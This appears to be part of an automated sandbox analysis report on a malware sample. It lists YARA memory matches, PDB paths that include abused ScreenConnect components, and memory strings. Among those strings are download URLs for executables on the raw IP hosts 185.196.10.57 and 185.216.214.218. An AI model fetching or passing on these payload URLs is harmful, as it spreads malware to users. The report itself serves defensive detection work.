Source: Yara match	File source: 0000001F.00000003.2961157579.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759580916.00000159F3896000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2779479672.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2958783527.0000020E498BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2783103519.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661521340.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2674148859.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2915091882.0000020E497F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661677871.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2919365464.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2787747249.00000159F349A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2916180807.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660087797.0000021E03530000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2782126972.00000159F3464000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759055860.00000159F3897000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2764776666.00000159F346C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2965569347.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660847616.0000021E03196000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2791688116.00000159F349B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2785135937.00000159F345D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2958783527.0000020E498F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2931991322.0000020E495E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660087797.0000021E03567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2763426209.00000159F346C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660847616.0000021E03140000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2916180807.0000020E495EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661128058.0000021E03196000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2958783527.0000020E498C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2924968847.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2919365464.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2688132576.0000021E03061000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2968135446.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2785229702.00000159F3610000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2780772219.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2779479672.00000159F3898000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2687808650.0000021E03516000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2687199973.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2688253860.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2923367726.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2968964641.0000020E495E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2778573331.00000159F3495000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2929542126.0000020E495E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2782967013.00000159F3470000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686049114.0000021E03798000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686049114.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2779479672.00000159F38C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2771554480.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2961157579.0000020E498F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2770178263.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2673013794.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2760641243.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2971778971.0000020E495F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2765139328.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2971339077.0000020E495EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2764927688.00000159F3472000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2659255671.0000021E03669000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2918637105.0000020E497F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2780772219.00000159F3897000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660730785.0000021E03194000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759580916.00000159F38CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2688132576.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2777007339.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759580916.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2918637105.0000020E4982A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2764697915.00000159F3492000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2660087797.0000021E03537000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2766881524.00000159F346E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2766881524.00000159F3479000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2661359746.0000021E0318E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2782280474.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2787221813.00000159F345E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2686476457.0000021E03798000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2784484927.00000159F3484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2779479672.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2759055860.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2790709240.00000159F361A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2791398929.00000159F3460000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2663760300.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2970680561.0000020E4949C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2969262618.0000020E49491000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2931335674.0000020E495E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2781349798.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2662087897.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2689684395.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2918637105.0000020E497F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2689532030.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2801216518.00000159F349D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2920893388.0000020E495DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: sys_updater.exe PID: 5928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sys_updater.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sys_updater.exe PID: 2380, type: MEMORYSTR

Source: RPHbzz3JqY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: RPHbzz3JqY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbQ source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdb\888 source: gtxkvh.exe, 0000001A.00000000.2318421372.0000000000F16000.00000002.00000001.01000000.0000001A.sdmp, sys_updater.exe.26.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb/[ source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdba444 source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2181196365.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1A4E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000001333000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: Pilo.pdb source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2181196365.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, gtxkvh.exe, 0000001A.00000000.2318421372.0000000000F16000.00000002.00000001.01000000.0000001A.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1A4E000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe.26.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765388951.0000000000F2D000.00000002.00000001.01000000.00000008.sdmp, ix4A2DreBBsQwY6YHkidcDjo.exe, 00000012.00000000.1903447365.0000000000FCD000.00000002.00000001.01000000.00000012.sdmp, YAPNXRPmcarcR4ZDgC81Tbdk.exe, 00000013.00000000.1966000603.000000000024D000.00000002.00000001.01000000.00000013.sdmp, SmLAztxc1o8yfogkJXrRjbDt.exe, 00000014.00000000.2028047270.00000000002ED000.00000002.00000001.01000000.00000014.sdmp, 3HvoFOAmEaJswFCHOzyfyz5b.exe, 00000015.00000000.2102895090.0000000000EBD000.00000002.00000001.01000000.00000015.sdmp, 6KZmcK8r6beUzmRf6Ci6nx8d.exe, 00000016.00000000.2167482839.000000000091D000.00000002.00000001.01000000.00000016.sdmp, yDd3OJXsNQptgFrYILoygXLs.exe, 00000017.00000000.2231749071.0000000000EFD000.00000002.00000001.01000000.00000017.sdmp, xpTljBOh8s4KWiGtXsL1c00g.exe, 00000019.00000000.2295830605.00000000008DD000.00000002.00000001.01000000.00000019.sdmp, oZolmRBaYFkuutSgcOrBLSAQ.exe, 0000001E.00000000.2373071915.000000000067D000.00000002.00000001.01000000.0000001B.sdmp, V6uPDVniSnRMWuLn5U9T3TGJ.exe, 00000020.00000000.2460409209.000000000018D000.00000002.00000001.01000000.0000001C.sdmp, 2TUSzbAUfKRfcjcMzfoV1qdi.exe, 00000023.00000000.2556332589.000000000009D000.00000002.00000001.01000000.0000001D.sdmp, ixjnzi95HfqR77bieLYCT4aJ.exe, 00000024.00000000.2651179810.000000000002D000.00000002.00000001.01000000.0000001E.sdmp, 6pkNzPZrIkyPzGNsokLQ8aZR.exe, 00000025.00000000.2754908254.0000000000E7D000.00000002.00000001.01000000.0000001F.sdmp, hQdOgl4rhYQYx3G5aYY61LEd.exe, 00000026.00000000.2881740586.000000000063D000.00000002.00000001.01000000.00000020.sdmp, oZolmRBaYFkuutSgcOrBLSAQ.exe.4.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005D5880 InternetOpenW,InternetOpenUrlA,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_005D5880

Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $fq3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\fq equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\fq equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`,fq equals www.youtube.com (Youtube)
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,fq#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)

Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/
Source: sys_updater.exe, 0000001B.00000003.2757593840.00000159F35FD000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E49505000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exe
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exe:
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exeX
Source: explert.exe, 00000004.00000003.2049062888.000000000142F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exeh7
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BD6000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exelert.exe
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BD6000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exelert.exe)Gg
Source: sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49505000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exelert.exejF
Source: sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exeswFCHOzyfyz5b.exe
Source: explert.exe, 00000004.00000003.2114234135.000000000142F000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.2801052059.000000000142F000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F35EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/Support.exey
Source: explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/acev.exe
Source: explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/acev.exe%
Source: explert.exe, 00000004.00000003.1829245052.0000000001424000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1847987081.0000000001424000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/acev.exeu
Source: explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/acev.exexplert.exe
Source: explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/acev.exexplert.exeG
Source: explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.218/
Source: explert.exe, 00000004.00000003.1848114752.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5AD3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BE7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E0344A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F358D000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F35A6000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E49515000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2916180807.0000020E494AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.218/Population.exe
Source: explert.exe, 00000004.00000003.1829302373.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.218/Population.exeU
Source: explert.exe, 00000004.00000003.1797286786.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.216.214.218/Population.exet.exeh
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.cU
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.000000000133A000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2163427307.00000234D5BBC000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172784971.00000234D5A69000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2165069693.00000234D5C04000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2172293908.00000234D5B00000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2171457608.00000234D5AB9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2651808657.0000021E0314C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2655069424.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2668665930.0000021E0343C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2673976502.0000021E031AC000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2670749256.0000021E03483000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2746248549.00000159F356C000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2772816830.00000159F38E4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2750695258.00000159F35B3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2768752871.00000159F3574000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2754063369.00000159F345A000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2945215932.0000020E49844000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2940578009.0000020E494EB000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2895586429.0000020E494D3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2892087005.0000020E4948C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
